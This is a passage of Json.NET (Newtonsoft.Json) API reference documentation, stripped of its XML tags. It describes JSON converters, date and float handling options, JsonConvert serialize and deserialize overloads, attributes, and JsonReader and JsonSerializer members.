JavaScript Date constructor (e.g. new Date(52231943)). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an to and from its name string value. - - - - - Gets or sets a value indicating whether the written enum text should be camel case. - The default value is false. - - true if the written enum text will be camel case; otherwise, false. - - - - Gets or sets the naming strategy used to resolve how enum text is written. - - The naming strategy used to resolve how enum text is written. - - - - Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. - The default value is true. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - true if the written enum text will be camel case; otherwise, false. - - - - Initializes a new instance of the class. - - The naming strategy used to resolve how enum text is written. - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - - Initializes a new instance of the class. - - The of the used to write enum text. - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - true if integers are allowed when serializing and deserializing; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from Unix epoch time - - - - - Gets or sets a value indicating whether the dates before Unix epoch - should converted to and from JSON. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - true to allow converting dates before Unix epoch to and from JSON; - false to throw an exception when a date being converted to or from JSON - occurred before Unix epoch. The default value is false. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from a string (e.g. "1.2.3.4"). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts XML to and from JSON. - - - - - Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. - - The name of the deserialized root element. - - - - Gets or sets a value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - true if the array attribute is written to the XML; otherwise, false. - - - - Gets or sets a value indicating whether to write the root JSON object. - - true if the JSON root object is omitted; otherwise, false. - - - - Gets or sets a value indicating whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - true if special characters are encoded; otherwise, false. - - - - Writes the JSON representation of the object. - - The to write to. - The calling serializer. - The value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Checks if the is a namespace attribute. - - Attribute name to test. - The attribute name prefix if it has one, otherwise an empty string. - true if attribute name is for a namespace attribute, otherwise false. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Specifies how dates are formatted when writing JSON text. - - - - - Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". - - - - - Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". - - - - - Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. - - - - - Date formatted strings are not parsed to a date type and are read as strings. - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . - - - - - Specifies how to treat the time value when converting between string and . - - - - - Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. - - - - - Treat as a UTC. If the object represents a local time, it is converted to a UTC. - - - - - Treat as a local time if a is being converted to a string. - If a string is being converted to , convert to a local time if a time zone is specified. - - - - - Time zone information should be preserved when converting. - - - - - The default JSON name table implementation. - - - - - Initializes a new instance of the class. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Adds the specified string into name table. - - The string to add. - This method is not thread-safe. - The resolved string. - - - - Specifies default value handling options for the . - - - - - - - - - Include members where the member value is the same as the member's default value when serializing objects. - Included members are written to JSON. Has no effect when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - so that it is not written to JSON. - This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, - decimals and floating point numbers; and false for booleans). The default value ignored can be changed by - placing the on the property. - - - - - Members with a default value but no JSON will be set to their default value when deserializing. - - - - - Ignore members where the member value is the same as the member's default value when serializing objects - and set members to their default value when deserializing. - - - - - Specifies float format handling options when writing special floating point numbers, e.g. , - and with . - - - - - Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". - - - - - Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. - Note that this will produce non-valid JSON. - - - - - Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. - - - - - Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Floating point numbers are parsed to . - - - - - Floating point numbers are parsed to . - - - - - Specifies formatting options for the . - - - - - No special formatting is applied. This is the default. - - - - - Causes child objects to be indented according to the and settings. - - - - - Provides an interface for using pooled arrays. - - The array type content. - - - - Rent an array from the pool. This array must be returned when it is no longer needed. - - The minimum required length of the array. The returned array may be longer. - The rented array from the pool. This array must be returned when it is no longer needed. - - - - Return an array to the pool. - - The array that is being returned. - - - - Provides an interface to enable a class to return line and position information. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - The current line number or 0 if no line information is available (for example, when returns false). - - - - Gets the current line position. - - The current line position or 0 if no line information is available (for example, when returns false). - - - - Instructs the how to serialize the collection. - - - - - Gets or sets a value indicating whether null items are allowed in the collection. - - true if null items are allowed in the collection; otherwise, false. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with a flag indicating whether the array can contain null items. - - A flag indicating whether the array can contain null items. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to use the specified constructor when deserializing that object. - - - - - Instructs the how to serialize the object. - - - - - Gets or sets the id. - - The id. - - - - Gets or sets the title. - - The title. - - - - Gets or sets the description. - - The description. - - - - Gets or sets the collection's items converter. - - The collection's items converter. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets a value that indicates whether to preserve object references. - - - true to keep object reference; otherwise, false. The default is false. - - - - - Gets or sets a value that indicates whether to preserve collection's items references. - - - true to keep collection's items object references; otherwise, false. The default is false. - - - - - Gets or sets the reference loop handling used when serializing the collection's items. - - The reference loop handling. - - - - Gets or sets the type name handling used when serializing the collection's items. - - The type name handling. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Provides methods for converting between .NET types and JSON types. - - - - - - - - Gets or sets a function that creates default . - Default settings are automatically used by serialization methods on , - and and on . - To serialize without using any default settings create a with - . - - - - - Represents JavaScript's boolean value true as a string. This field is read-only. - - - - - Represents JavaScript's boolean value false as a string. This field is read-only. - - - - - Represents JavaScript's null as a string. This field is read-only. - - - - - Represents JavaScript's undefined as a string. This field is read-only. - - - - - Represents JavaScript's positive infinity as a string. This field is read-only. - - - - - Represents JavaScript's negative infinity as a string. This field is read-only. - - - - - Represents JavaScript's NaN as a string. This field is read-only. - - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - The time zone handling when the date is converted to a string. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation using the specified. - - The value to convert. - The format the date will be converted to. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - The string delimiter character. - The string escape handling. - A JSON string representation of the . - - - - Converts the to its JSON string representation. - - The value to convert. - A JSON string representation of the . - - - - Serializes the specified object to a JSON string. - - The object to serialize. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting. - - The object to serialize. - Indicates how the output should be formatted. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a collection of . - - The object to serialize. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using formatting and a collection of . - - The object to serialize. - Indicates how the output should be formatted. - A collection of converters used while serializing. - A JSON string representation of the object. - - - - Serializes the specified object to a JSON string using . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - A JSON string representation of the object. - - - - - Serializes the specified object to a JSON string using a type, formatting and . - - The object to serialize. - Indicates how the output should be formatted. - The used to serialize the object. - If this is null, default serialization settings will be used. - - The type of the value being serialized. - This parameter is used when is to write out the type name if the type of the value does not match. - Specifying the type is optional. - - - A JSON string representation of the object. - - - - - Deserializes the JSON to a .NET object. - - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to a .NET object using . - - The JSON to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The JSON to deserialize. - The of object being deserialized. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type. - - The type of the object to deserialize to. - The JSON to deserialize. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the given anonymous type. - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the given anonymous type using . - - - The anonymous type to deserialize to. This can't be specified - traditionally and must be inferred from the anonymous type passed - as a parameter. - - The JSON to deserialize. - The anonymous type object. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized anonymous type from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The type of the object to deserialize to. - The JSON to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The type of the object to deserialize to. - The object to deserialize. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using a collection of . - - The JSON to deserialize. - The type of the object to deserialize. - Converters to use while deserializing. - The deserialized object from the JSON string. - - - - Deserializes the JSON to the specified .NET type using . - - The JSON to deserialize. - The type of the object to deserialize to. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - The deserialized object from the JSON string. - - - - Populates the object with values from the JSON string. - - The JSON to populate values from. - The target object to populate values onto. - - - - Populates the object with values from the JSON string using . - - The JSON to populate values from. - The target object to populate values onto. - - The used to deserialize the object. - If this is null, default serialization settings will be used. - - - - - Serializes the to a JSON string. - - The node to serialize. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to serialize. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Serializes the to a JSON string. - - The node to convert to JSON. - A JSON string of the . - - - - Serializes the to a JSON string using formatting. - - The node to convert to JSON. - Indicates how the output should be formatted. - A JSON string of the . - - - - Serializes the to a JSON string using formatting and omits the root object if is true. - - The node to serialize. - Indicates how the output should be formatted. - Omits writing the root object. - A JSON string of the . - - - - Deserializes the from a JSON string. - - The JSON string. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by . - - The JSON string. - The name of the root element to append when deserializing. - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by - and writes a Json.NET array attribute for collections. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - The deserialized . - - - - Deserializes the from a JSON string nested in a root element specified by , - writes a Json.NET array attribute for collections, and encodes special characters. - - The JSON string. - The name of the root element to append when deserializing. - - A value to indicate whether to write the Json.NET array attribute. - This attribute helps preserve arrays when converting the written XML back to JSON. - - - A value to indicate whether to encode special characters when converting JSON to XML. - If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify - XML namespaces, attributes or processing directives. Instead special characters are encoded and written - as part of the XML element name. - - The deserialized . - - - - Converts an object to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can read JSON. - - true if this can read JSON; otherwise, false. - - - - Gets a value indicating whether this can write JSON. - - true if this can write JSON; otherwise, false. - - - - Converts an object to and from JSON. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. If there is no existing value then null will be used. - The existing value has a value. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Instructs the to use the specified when serializing the member or class. - - - - - Gets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - - - - - Initializes a new instance of the class. - - Type of the . - - - - Initializes a new instance of the class. - - Type of the . - Parameter list to use when constructing the . Can be null. - - - - Represents a collection of . - - - - - Instructs the how to serialize the collection. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Instructs the to deserialize properties with no matching class member into the specified collection - and write values during serialization. - - - - - Gets or sets a value that indicates whether to write extension data when serializing the object. - - - true to write extension data when serializing the object; otherwise, false. The default is true. - - - - - Gets or sets a value that indicates whether to read extension data when deserializing the object. - - - true to read extension data when deserializing the object; otherwise, false. The default is true. - - - - - Initializes a new instance of the class. - - - - - Instructs the not to serialize the public field or public read/write property value. - - - - - Base class for a table of atomized string objects. - - - - - Gets a string containing the same characters as the specified range of characters in the given array. - - The character array containing the name to find. - The zero-based index into the array specifying the first character of the name. - The number of characters in the name. - A string containing the same characters as the specified range of characters in the given array. - - - - Instructs the how to serialize the object. - - - - - Gets or sets the member serialization. - - The member serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified member serialization. - - The member serialization. - - - - Initializes a new instance of the class with the specified container Id. - - The container Id. - - - - Instructs the to always serialize the member with the specified name. - - - - - Gets or sets the type used when serializing the property's collection items. - - The collection's items type. - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the of the . - - The of the . - - - - The parameter list to use when constructing the described by . - If null, the default constructor is used. - When non-null, there must be a constructor defined in the that exactly matches the number, - order, and type of these parameters. - - - - [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] - - - - - - Gets or sets the null value handling used when serializing this property. - - The null value handling. - - - - Gets or sets the default value handling used when serializing this property. - - The default value handling. - - - - Gets or sets the reference loop handling used when serializing this property. - - The reference loop handling. - - - - Gets or sets the object creation handling used when deserializing this property. - - The object creation handling. - - - - Gets or sets the type name handling used when serializing this property. - - The type name handling. - - - - Gets or sets whether this property's value is serialized as a reference. - - Whether this property's value is serialized as a reference. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets a value indicating whether this property is required. - - - A value indicating whether this property is required. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified name. - - Name of the property. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously skips the children of the current token. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Specifies the state of the reader. - - - - - A read method has not been called. - - - - - The end of the file has been reached successfully. - - - - - Reader is at a property. - - - - - Reader is at the start of an object. - - - - - Reader is in an object. - - - - - Reader is at the start of an array. - - - - - Reader is in an array. - - - - - The method has been called. - - - - - Reader has just read a value. - - - - - Reader is at the start of a constructor. - - - - - Reader is in a constructor. - - - - - An error occurred that prevents the read operation from continuing. - - - - - The end of the file has been reached successfully. - - - - - Gets the current reader state. - - The current reader state. - - - - Gets or sets a value indicating whether the source should be closed when this reader is closed. - - - true to close the source when this reader is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether multiple pieces of JSON content can - be read from a continuous stream without erroring. - - - true to support reading multiple pieces of JSON content; otherwise false. - The default is false. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - Gets or sets how time zones are handled when reading JSON. - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - - - - - Gets or sets how custom date formatted strings are parsed when reading JSON. - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Gets the type of the current JSON token. - - - - - Gets the text value of the current JSON token. - - - - - Gets the .NET type for the current JSON token. - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets or sets the culture used when reading JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Reads the next JSON token from the source. - - true if the next token was read successfully; false if there are no more tokens to read. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the source as a of . - - A of . This method will return null at the end of an array. - - - - Skips the children of the current token. - - - - - Sets the current token. - - The new token. - - - - Sets the current token and value. - - The new token. - The value. - - - - Sets the current token and value. - - The new token. - The value. - A flag indicating whether the position index inside an array should be updated. - - - - Sets the state based on current token type. - - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Changes the reader's state to . - If is set to true, the source is also closed. - - - - - The exception thrown when an error occurs while reading JSON text. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Instructs the to always serialize the member, and to require that the member has a value. - - - - - The exception thrown when an error occurs during JSON serialization or deserialization. - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The line number indicating where the error occurred. - The line position indicating where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Serializes and deserializes objects into and from the JSON format. - The enables you to control how objects are encoded into JSON. - - - - - Occurs when the errors during serialization and deserialization. - - - - - Gets or sets the used by the serializer when resolving references. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when resolving type names. - - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - - - - Gets or sets how reference loops (e.g. a class referencing itself) is handled. - The default value is . - - - - - Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. - The default value is . - - - - - Gets or sets how null values are handled during serialization and deserialization. - The default value is . - - - - - Gets or 